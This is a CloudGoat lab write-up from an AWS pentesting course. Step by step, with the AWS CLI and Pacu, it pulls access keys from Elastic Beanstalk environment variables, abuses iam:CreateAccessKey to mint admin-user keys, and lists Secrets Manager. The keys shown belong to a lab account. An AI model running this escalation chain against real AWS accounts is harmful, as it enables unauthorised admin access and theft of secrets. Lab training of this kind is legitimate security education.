Introduction to AWS Pentesting - Beanstalk Secrets

Flowering Beanstalks

This is a write up for the first capstone project in the Introduction to AWS Pentesting course from Tyler Ramsbey that can be found here. This particular challenge is a CloudGoat scenario.

A quick shout out to the community that Tyler Ramsbey has helped to curate called Hack Smarter. I joined this community a few years back when it had a different home and a different name and have been happy to be a member ever since. If you are new to pentesting or are a seasoned pentester, or are just interested in hacking I would encourage you to come check it out. I am one of the meeting leaders for our weekly goals meeting which has helped keep me motivated as I spent years learning hacking and making a career change into the pentesting world. Thank you to all who are part of this great community! If you would like to find me I go by CrazyHorse on the discord and if you would like to check it out the discord server is linked below.

Join the Hack Smarter Discord Server!
A community dedicated to helping YOU reach your goals in IT and Cybersecurity. | 10705 members

Hack Smarter, not harder!

Now on to the hacking!

To start off you will need to install CloudGoat the install instructions can be found on the GitHub site and will depend on what operating system you are using. Once CloudGoat is installed you can proceed to step 1.

AWS CLI Route:

To start off I used the AWS CLI and once I had completed the challenge I went back and used Pacu which is a great tool for pentesting AWS. I did all of my hacking from a Kali Linux 2025.2 Virtual Machine running in VMWare Fusion on my personal MacBook Pro on MacOS 15.4.1. The AWS CLI can be installed from the package manager, if needed, on Kali.

Step 1 - Setup Beanstalk Secrets CloudGoat Scenario.

Run the following command in your terminal to spin up the CloudGoat Scenario.

cloudgoat create beanstalk_secrets

Spin up the CloudGoat Scenario

This will take a few minutes to complete and once it does you should see a similar output to the following. NOTE: The Access Key and Secret key for you instance will be different and will change if you destroy the scenario and re-create it.

[cloudgoat] terraform output completed with no error code.                                                                                                                              
initial_low_priv_credentials = Access Key: AKIAV7GUMQ3JFRXZKOJ5                                                                                                                     
Secret Key: Anj9p8X4X1uN5lva4IYVPUGsiKlgWgCmCrgtft3A

Output showing keys after starting the CloudGoat scenario

Step 2 - Configure a profile to use with AWS CLI

NOTE: You can name the profile whatever you want.

aws configure --profile beanstalk              

Configure beanstalk profile

AWS Access Key ID [****************DZVL]: AKIAV7GUMQ3JFRXZKOJ5
AWS Secret Access Key [****************FEtB]: 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
Default region name [us-east-1]: us-east-1
Default output format [json]: json

Import keys

Step 3 - Check that the credentials are valid

aws sts get-caller-identity --profile beanstalk

Checking credentials

{
    "UserId": "AIDAV7GUMQ3JCWI6NLHPD",
    "Account": "410614793938",
    "Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_low_priv_user"
}

Output Showing the credentials are valid

This output include the UserID, Account and Arn. the arn include the username, in this case "cgidlbvbudjnyb_low_priv_user" is our username.

Step 3 - Check the applications running in elastic beanstalk

aws elasticbeanstalk describe-applications --profile beanstalk

Checking beanstalk applications

{
    "Applications": [
        {
            "ApplicationArn": "arn:aws:elasticbeanstalk:us-east-1:410614793938:application/cgidlbvbudjnyb-app",
            "ApplicationName": "cgidlbvbudjnyb-app",
            "Description": "Elastic Beanstalk application for insecure secrets scenario",
            "DateCreated": "2025-06-14T06:19:00.694000+00:00",
            "DateUpdated": "2025-06-14T06:19:00.694000+00:00",
            "ConfigurationTemplates": [],
            "ResourceLifecycleConfig": {
                "VersionLifecycleConfig": {
                    "MaxCountRule": {
                        "Enabled": false,
                        "MaxCount": 200,
                        "DeleteSourceFromS3": false
                    },
                    "MaxAgeRule": {
                        "Enabled": false,
                        "MaxAgeInDays": 180,
                        "DeleteSourceFromS3": false
                    }
                }
            }
        }
    ]
}

Take note of the ApplicationName from this output

Step 4 - Check the application environment

aws elasticbeanstalk describe-environments --application-name cgidlbvbudjnyb-app --profile beanstalk

Command to check application environment

{
    "Environments": [
        {
            "EnvironmentName": "cgidlbvbudjnyb-env",
            "EnvironmentId": "e-kzdvp2ys8q",
            "ApplicationName": "cgidlbvbudjnyb-app",
            "SolutionStackName": "64bit Amazon Linux 2023 v4.5.2 running Python 3.13",
            "PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.13 running on 64bit Amazon Linux 2023/4.5.2",
            "EndpointURL": "awseb-e-k-AWSEBLoa-UNNTQ65DJHUK-1821538377.us-east-1.elb.amazonaws.com",
            "CNAME": "cgidlbvbudjnyb-env.eba-pumgd7wr.us-east-1.elasticbeanstalk.com",
            "DateCreated": "2025-06-14T06:19:17.102000+00:00",
            "DateUpdated": "2025-06-14T06:21:59.146000+00:00",
            "Status": "Ready",
            "AbortableOperationInProgress": false,
            "Health": "Grey",
            "HealthStatus": "No Data",
            "Tier": {
                "Name": "WebServer",
                "Type": "Standard",
                "Version": "1.0"
            },
            "EnvironmentLinks": [],
            "EnvironmentArn": "arn:aws:elasticbeanstalk:us-east-1:410614793938:environment/cgidlbvbudjnyb-app/cgidlbvbudjnyb-env"
        }
    ]
}

Take note of the EnvironmentName

Step 5 - Describe configuration settings

aws elasticbeanstalk describe-configuration-settings --application-name cgidlbvbudjnyb-app --environment-name cgidlbvbudjnyb-env --query "ConfigurationSettings[0].OptionSettings[?Namespace=='aws:elasticbeanstalk:application:environment']" --profile beanstalk

Command to show configuration settings

For this command to succeed we need both the application name and the environment name, which we discovered in steps 3 and 4.

[
    {
        "Namespace": "aws:elasticbeanstalk:application:environment",
        "OptionName": "PYTHONPATH",
        "Value": "/var/app/venv/staging-LQM1lest/bin"
    },
    {
        "Namespace": "aws:elasticbeanstalk:application:environment",
        "OptionName": "SECONDARY_ACCESS_KEY",
        "Value": "AKIAV7GUMQ3JKGACERMV"
    },
    {
        "Namespace": "aws:elasticbeanstalk:application:environment",
        "OptionName": "SECONDARY_SECRET_KEY",
        "Value": "htp+tta+F9jtGgc/7IkxaGEMWAYlVZ2igidC5MO6"
    }
]

Output showing new access keys

As you can see from the output we have now discovered new access keys!

Step 6 - Configure a new profile with the discovered keys

Next we need to configure a new profile and import the new keys we found, again you can name the profile whatever makes sense to you, I went with bean2

aws configure --profile bean2

Configure bean2 profile

AWS Access Key ID [****************ESAO]: AKIAV7GUMQ3JKGACERMV
AWS Secret Access Key [****************R6l6]: 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
Default region name [us-east-1]: 
Default output format [json]: 

Configuring the bean2 profile

Step 7 - Check that the credentials are valid

aws sts get-caller-identity --profile bean2    

Check credentials are valid

{
    "UserId": "AIDAV7GUMQ3JFZDYQEB27",
    "Account": "410614793938",
    "Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_secondary_user"
}

Output showing the credentials are valid

NOTE: The user name here is "cgidlbvbudjnyb_secondary_user"

Step 8 - View attached policies

Here we need to check the attached policies for our new "bean2" profile. We need to user the username we noted in step 7 for this.

aws iam list-attached-user-policies --user-name cgidlbvbudjnyb_secondary_user --profile bean2

List attached user profiles

{
    "AttachedPolicies": [
        {
            "PolicyName": "cgidlbvbudjnyb_secondary_policy",
            "PolicyArn": "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_secondary_policy"
        }
    ]
}

Output showing PolicyName and PolicyArn

Step 9 - Get the policy for bean2

For this we need to use the PolicyArn we found above.

aws iam get-policy --policy-arn "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_secondary_policy" --profile bean2

Get the policy for the bean2 profile

{
    "Policy": {
        "PolicyName": "cgidlbvbudjnyb_secondary_policy",
        "PolicyId": "ANPAV7GUMQ3JFJ5XOC3TG",
        "Arn": "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_secondary_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2025-06-14T06:19:00+00:00",
        "UpdateDate": "2025-06-14T06:19:00+00:00",
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "beanstalk_secrets"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

Output showing policy for secondary user

Step 10 - Get the policy version

Next we need to view the policy version to inspect what permission we have.

aws iam get-policy-version --policy-arn "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_secondary_policy" --version-id v1 --profile bean2

View the policy for version v1

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:CreateAccessKey"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:ListRoles",
                        "iam:GetRole",
                        "iam:ListPolicies",
                        "iam:GetPolicy",
                        "iam:ListPolicyVersions",
                        "iam:GetPolicyVersion",
                        "iam:ListUsers",
                        "iam:GetUser",
                        "iam:ListGroups",
                        "iam:GetGroup",
                        "iam:ListAttachedUserPolicies",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-06-14T06:19:00+00:00"
    }
}

Output showing details of the policy v1

Observing the output here we can see that we are allowed to create access keys on all resources!

"Action": [
"iam:CreateAccessKey"
],
"Effect": "Allow",
"Resource": "*"

Snippet of v1 output showing we can create access keys

Step 11 - Check for other users

Since we now know that we can create access keys we should check to see if there are other users that we can create keys on.

aws iam list-users --profile bean2

List all users

{
    "Users": [
        {
            "Path": "/",
            "UserName": "cgidlbvbudjnyb_admin_user",
            "UserId": "AIDAV7GUMQ3JDDXTT2OHG",
            "Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_admin_user",
            "CreateDate": "2025-06-14T06:19:00+00:00"
        },
        {
            "Path": "/",
            "UserName": "cgidlbvbudjnyb_low_priv_user",
            "UserId": "AIDAV7GUMQ3JCWI6NLHPD",
            "Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_low_priv_user",
            "CreateDate": "2025-06-14T06:19:00+00:00"
        },
        {
            "Path": "/",
            "UserName": "cgidlbvbudjnyb_secondary_user",
            "UserId": "AIDAV7GUMQ3JFZDYQEB27",
            "Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_secondary_user",
            "CreateDate": "2025-06-14T06:19:00+00:00"
        },
        {
            "Path": "/",
            "UserName": "cloudgoat",
            "UserId": "AIDAV7GUMQ3JF7CTUSRG2",
            "Arn": "arn:aws:iam::410614793938:user/cloudgoat",
            "CreateDate": "2025-05-14T01:14:34+00:00"
        }
    ]
}

Output showing there is an "admin_user"

NOTE: The UserName is "cgidlbvbudjnyb_admin_user"

Step 12 - List attached policies on admin_user

Let see if we can get the attached policy for the admin_user so we can see what permissions this user has. For this we need to useer the UserName we noted above.

aws iam list-attached-user-policies --user-name cgidlbvbudjnyb_admin_user --profile bean2

List attached user policies for the "admin_user"

{
    "AttachedPolicies": [
        {
            "PolicyName": "cgidlbvbudjnyb_admin_user_policy",
            "PolicyArn": "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_admin_user_policy"
        }
    ]
}

Output showing the PolicyName and PolicyArn

Step 13 - Get the policy for the admin_user

aws iam get-policy --policy-arn "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_admin_user_policy" --profile bean2

Command to get the policy

{
    "Policy": {
        "PolicyName": "cgidlbvbudjnyb_admin_user_policy",
        "PolicyId": "ANPAV7GUMQ3JJBQK7TRZR",
        "Arn": "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_admin_user_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2025-06-14T06:19:00+00:00",
        "UpdateDate": "2025-06-14T06:19:00+00:00",
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "beanstalk_secrets"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

Output showing v1 policy Version

Step 14 - Get the policy version to view permission of admin_user

Next lets check the v1 policy to see what permission the admin_user has. We need the arn from above for this and the version.

aws iam get-policy-version --policy-arn "arn:aws:iam::410614793938:policy/cgidlbvbudjnyb_admin_user_policy" --version-id v1 --profile bean2

Get policy version

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-06-14T06:19:00+00:00"
    }
}

Output showing admin_user's permissions

As we can see from the output the "admin_user" is allowed to perform any action on any resource. This means that this user essentially has "god mode" and clearly is who we need to target.

"Action":"*", "Effect": "Allow","Resource":"*"

Snippet of output from above showing we have permission to do any action on any resource

Step 15 - Privilege escalation

Looking back to step 10 we can create an access key on any resource so let's see if we can abuse this to set a key on the "admin_user". The caveat for this is if the "admin_user" already had two sets of keys applied we will not be able to set another set on them.

aws iam create-access-key --user-name cgidlbvbudjnyb_admin_user --profile bean2

Set access key on "admin_user"

{
    "AccessKey": {
        "UserName": "cgidlbvbudjnyb_admin_user",
        "AccessKeyId": "AKIAV7GUMQ3JCIKPOQUY",
        "Status": "Active",
        "SecretAccessKey": "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",
        "CreateDate": "2025-06-14T18:27:51+00:00"
    }
}

Output showing keys that were created on the "admin_user"

Step 16 - Create an "admin_user" profile.

Let's create a new user profile and then use that to check if the credentials we created are valid.

aws configure --profile admin_user

Configure "admin_user" profile

AWS Access Key ID [****************CSN4]: AKIAV7GUMQ3JCIKPOQUY
AWS Secret Access Key [****************N2zK]: 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
Default region name [us-east-1]: 
Default output format [json]: 

Apply keys we created to "admin_user" profile

Step 16 - Check to see if the credentials are valid.

aws sts get-caller-identity --profile admin_user

Command to check the credentials

{
    "UserId": "AIDAV7GUMQ3JDDXTT2OHG",
    "Account": "410614793938",
    "Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_admin_user"
}

Output confirming the credentials are valid

Step 16 - Check for secrets

Since we now have a user with full access let's check the secretsmanager to see if we can list secrets.

aws secretsmanager list-secrets --region us-east-1 --profile admin_user

Command to list secrets

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:410614793938:secret:cgidlbvbudjnyb_final_flag-hWOe7f",
            "Name": "cgidlbvbudjnyb_final_flag",
            "LastChangedDate": "2025-06-13T23:19:01.249000-07:00",
            "LastAccessedDate": "2025-06-13T17:00:00-07:00",
            "Tags": [
                {
                    "Key": "Scenario",
                    "Value": "beanstalk_secrets"
                },
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                }
            ],
            "SecretVersionsToStages": {
                "terraform-20250614061901147500000003": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-06-13T23:19:00.726000-07:00"
        }
    ]
}

Output for secrectsmanager showing final_flag

As we can see this was successful and we now have the final flag completing the challenge! "cgidlbvbudjnyb_final_flag-hWOe7f"

NOTE: I kept getting an error originally when I tried this step the error would look like this (the time stamps would change, of course, every time I tried to list secrets).

An error occurred (InvalidSignatureException) when calling the ListSecrets operation: Signature not yet current: 20250614T051038Z is still later than 20250614T032342Z (20250614T031842Z + 5 min.)

Error trying to list secrets

After hours of trying to sync my clock and reading posts I finally resorted to what should have been the first or second thing to try and rebooted my VM. After the reboot the command worked right away. Before that the command would hang for about 5 minutes and then output the error. I realized that I had been using this VM for a HTB box where I needed to run sudo ntpdate to sync my clock to the kerberos server, however, even after correcting the clock skew and double checking it was perfectly in sync with AWS I would still get the error. After that I only could come up with a reboot which fixed it right away. Hopefully this can help someone else out if they run into a similar error.

Pacu route AKA easy mode:

Using the Pacu tool we can complete this challenge much quicker. My goal was to learn as much as possible so I did the AWS CLI method first, then tried this route. I am going to skip the steps of spinning up the CloudGoat scenario and configuring the AWS beanstalk profile, as those can be found above in steps 1,2 and 3 in the AWS CLI route above.

Step 1 - Start Pacu and import keys

To start Pacu once it is installed we can simply type pacu in our terminal. Once that is done you will see output similar to this

 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀
 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀
 ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧
 ⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿
 ⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟
 ⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁
 ⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀
 ⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀
 ⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿
 ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟
 ⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀

Version: unknown
Found existing sessions:
  [0] New session

Pacu splash screen

Type '0' to setup a new session then import the keys from the beanstalk profile we setup. I named the session beanstalk in Pacu to keep it simple.

Pacu (beanstalk:imported-beanstalk) > import_keys beanstalk
  Imported keys as "imported-beanstalk"

Import the keys from the AWS beanstalk profile into Pacu

Step 2 - Enumerate beanstalk with Pacu

Pacu (beanstalk:imported-beanstalk) > run elasticbeanstalk__enum --region us-east-1

Command to run enumeration on beanstalk in Pacu

Running module elasticbeanstalk__enum...
[elasticbeanstalk__enum] Enumerating BeanStalk data in region us-east-1...
[elasticbeanstalk__enum]   1 application(s) found in us-east-1.
[elasticbeanstalk__enum]   1 environment(s) found in us-east-1.
        Potential secret in environment variable: SSHSourceRestriction => tcp,22,22,0.0.0.0/0
        Potential secret in environment variable: EnvironmentVariables => SECONDARY_SECRET_KEY=htp+tta+F9jtGgc/7IkxaGEMWAYlVZ2igidC5MO6,PYTHONPATH=/var/app/venv/staging-LQM1lest/bin,SECONDARY_ACCESS_KEY=AKIAV7GUMQ3JKGACERMV
        Potential secret in environment variable: SECONDARY_ACCESS_KEY => AKIAV7GUMQ3JKGACERMV
[elasticbeanstalk__enum]   1 configuration setting(s) found in us-east-1.
[elasticbeanstalk__enum]   3 potential secret(s) found in config settings and saved to: /home/chxsec/.local/share/pacu/beanstalk/downloads/beanstalk_secrets_beanstalk_us-east-1.txt
[elasticbeanstalk__enum]   1 environment(s) with tags found in us-east-1.
[elasticbeanstalk__enum] elasticbeanstalk__enum completed.

[elasticbeanstalk__enum] MODULE SUMMARY:

    1 total application(s) found.
    1 total environment(s) found.
    1 total configuration setting group(s) found.
    1 environment(s) with tags enumerated.
    3 potential secret(s) discovered in config settings.

Output from enumeration

As we can see in the output keys were listed.

SECONDARY_SECRET_KEY=htp+tta+F9jtGgc/7IkxaGEMWAYlVZ2igidC5MO6
SECONDARY_ACCESS_KEY=AKIAV7GUMQ3JKGACERMV

Keys for secondary user

Step 3 - Check the keys to see if they are valid

For this you can either exit Pacu or open a new pane or terminal window. First we need to configure a profile and then check the credentials. As with AWS CLI route I used bean2 as the profile name.

aws configure --profile bean2

AWS Access Key ID [****************ESAO]: AKIAV7GUMQ3JKGACERMV
AWS Secret Access Key [****************R6l6]: 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
Default region name [us-east-1]: 
Default output format [json]:

Configure the "bean2" profile

Next check that the keys are valid

aws sts get-caller-identity --profile bean2  

{
    "UserId": "AIDAV7GUMQ3JFZDYQEB27",
    "Account": "410614793938",
    "Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_secondary_user"
}

Confirm the credentials are valid

Step 4 - Check permission in Pacu

Back in our Pacu window let's check permissions for the "beanstalk" profile before moving onto the new profile.

run iam__enum_permissions --region us-east-1

Enum Permissions for "beanstalk" profile

run iam__bruteforce_permissions --region us-east-1

bruteforce permission for "beanstalk" profile

[iam__bruteforce_permissions] iam__bruteforce_permissions completed.

[iam__bruteforce_permissions] MODULE SUMMARY:

Num of IAM permissions found: 4 

Snippet of the output from bruteforce__permissions

I did not see anything that looks super useful here so lets move onto the next user/profile.

Step 5 - Import our "bean2" keys into Pacu

Pacu (beanstalk:imported-beanstalk) > import_keys bean2
  Imported keys as "imported-bean2"

Import keys into Pacu

Step 6 - Enumerate permissions with "bean2"

Pacu (beanstalk:imported-bean2) > run iam__enum_permissions
  Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for users:
[iam__enum_permissions]   cgidlbvbudjnyb_secondary_user...
[iam__enum_permissions]     List groups for user failed
[iam__enum_permissions]       FAILURE: MISSING REQUIRED AWS PERMISSIONS
[iam__enum_permissions]     List user policies failed
[iam__enum_permissions]       FAILURE: MISSING REQUIRED AWS PERMISSIONS
[iam__enum_permissions]     Confirmed Permissions for cgidlbvbudjnyb_secondary_user
[iam__enum_permissions] iam__enum_permissions completed.

[iam__enum_permissions] MODULE SUMMARY:

   0 Confirmed permissions for 0 user(s).
   0 Confirmed permissions for 0 role(s).
  14 Unconfirmed permissions for user: cgidlbvbudjnyb_secondary_user.
   0 Unconfirmed permissions for 0 role(s).
Type 'whoami' to see detailed list of permissions.

IAM enumeration on permissions

As the output shows we can now run whoami to get list of detailed permissions.

Pacu (beanstalk:imported-bean2) > whoami

whoami command

"AccessKeyId": "AKIAV7GUMQ3JJL7LIG6A",
  "SecretAccessKey": "MUV9b7PsINnDV10Ccco5********************",
  "SessionToken": null,
  "KeyAlias": "imported-bean2",
  "PermissionsConfirmed": false,
  "Permissions": {
    "Allow": {
      "iam:createaccesskey": {
        "Resources": [
          "*"
        ]
      },

Snippet of output showing permissions

As we can see from the output we are allowed to create access keys on all resources.

Step 7 - Run privesc scan

We can also run the privilege escalation scan to check for escalation paths.

run iam__privesc_scan --scan-only

Privilege Escalation Scan

Running module iam__privesc_scan...
[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan]   POTENTIAL: AddUserToGroup
[iam__privesc_scan]   POTENTIAL: AttachGroupPolicy
[iam__privesc_scan]   POTENTIAL: AttachRolePolicy
[iam__privesc_scan]   POTENTIAL: AttachUserPolicy
[iam__privesc_scan]   POTENTIAL: CodeStarCreateProjectFromTemplate
[iam__privesc_scan]   POTENTIAL: CodeStarCreateProjectThenAssociateTeamMember
[iam__privesc_scan]   CONFIRMED: CreateAccessKey
[iam__privesc_scan]   POTENTIAL: CreateEC2WithExistingIP
[iam__privesc_scan]   POTENTIAL: CreateLoginProfile
[iam__privesc_scan]   POTENTIAL: CreateNewPolicyVersion
[iam__privesc_scan]   POTENTIAL: EditExistingLambdaFunctionWithRole
[iam__privesc_scan]   POTENTIAL: PassExistingRoleToNewCloudFormation
[iam__privesc_scan]   POTENTIAL: PassExistingRoleToNewCodeStarProject
[iam__privesc_scan]   POTENTIAL: PassExistingRoleToNewDataPipeline
[iam__privesc_scan]   POTENTIAL: PassExistingRoleToNewGlueDevEndpoint
[iam__privesc_scan]   POTENTIAL: PassExistingRoleToNewLambdaThenInvoke
[iam__privesc_scan]   POTENTIAL: PassExistingRoleToNewLambdaThenInvokeCrossAccount
[iam__privesc_scan]   POTENTIAL: PassExistingRoleToNewLambdaThenTriggerWithExistingDynamo
[iam__privesc_scan]   POTENTIAL: PassExistingRoleToNewLambdaThenTriggerWithNewDynamo
[iam__privesc_scan]   POTENTIAL: PutGroupPolicy
[iam__privesc_scan]   POTENTIAL: PutRolePolicy
[iam__privesc_scan]   POTENTIAL: PutUserPolicy
[iam__privesc_scan]   POTENTIAL: SetExistingDefaultPolicyVersion
[iam__privesc_scan]   POTENTIAL: UpdateExistingGlueDevEndpoint
[iam__privesc_scan]   POTENTIAL: UpdateLoginProfile
[iam__privesc_scan]   POTENTIAL: UpdateRolePolicyToAssumeIt

[iam__privesc_scan] iam__privesc_scan completed.

